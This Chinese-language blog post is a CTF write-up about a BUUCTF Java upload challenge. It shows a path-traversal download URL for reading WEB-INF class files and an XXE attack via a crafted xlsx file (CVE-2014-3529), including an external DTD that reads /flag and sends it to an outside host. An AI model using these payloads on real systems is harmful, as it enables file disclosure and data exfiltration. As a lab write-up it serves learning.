看见java我就有点后怕,因为我怎么不懂java,当作一个学习过程吧
进去后就看见是一个上传题目,随便传一个文件进行抓包
发现有一个filename参数,立刻联想到是不是有路径穿越问题,加上之前做过几个java题都是web-inf泄露
先试试../看看我们现在在哪
数了一下有九个,于是我就../九个然后去看配置文件
总共有三个文件,我们需要去class里面给他们下下来,记住要带后缀,而且.是代表/,我记得我第一次做的时候直接用的.导致出不来
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
下下来的文件拖到IDEA进行观察,发现没有java基础果然看不怎么懂,只能跟着wp主学习
大佬们从上传页面的代码发现有一个对于excel的判断,于是上网搜查java的excel漏洞,找到一个历史CVE-2014-3529 是一个excel文件和xxe联合一起的漏洞(长见识了)
这里要用到vps,一开始我傻傻的用自己的虚拟机的,结果做到一半发现这不是内网的么,能接收到个鬼……
buu开个小号
因为之前没做过靶机类题目,记得ssh是连这个!!!不是下面的外网地址!!!!!!! 外网映射的是靶机的80端口,因为只有一个端口可以使用,我们将dtd文件和flag都发到这个服务器上即可
新建一个xlsx文件,后缀改zip,然后修改[Content_Types].xml插入恶意代码
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://f8086dee-c192-4574-94df-f39c5f0cc5a2.node4.buuoj.cn:81/file.dtd">
%remote;%int;%send;
]>
靶机给你的外网ip地址
然后再压缩回去zip 改后缀xlsx,这里推荐用winRar比较方便
题目文件名有限制
ssh连上靶机后利用vim命令准备好dtd文件
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://f8086dee-c192-4574-94df-f39c5f0cc5a2.node4.buuoj.cn:81?p=%file;'>">
同样是你的外网ip地址噢
然后按照大佬在服务器监听端口81……上传,没有任何动静,监听80……上传也没有任何动静
根据另外的方法是查看请求日志access.log
真的很奇怪,为什么我会监听不到,希望知道的师傅们能够教一下,外链的payload也设置了端口
这篇文章纯属记录下自己写的过程,没有什么干货,因为我也不怎么了解java,跟随其他大佬体验了一遍流程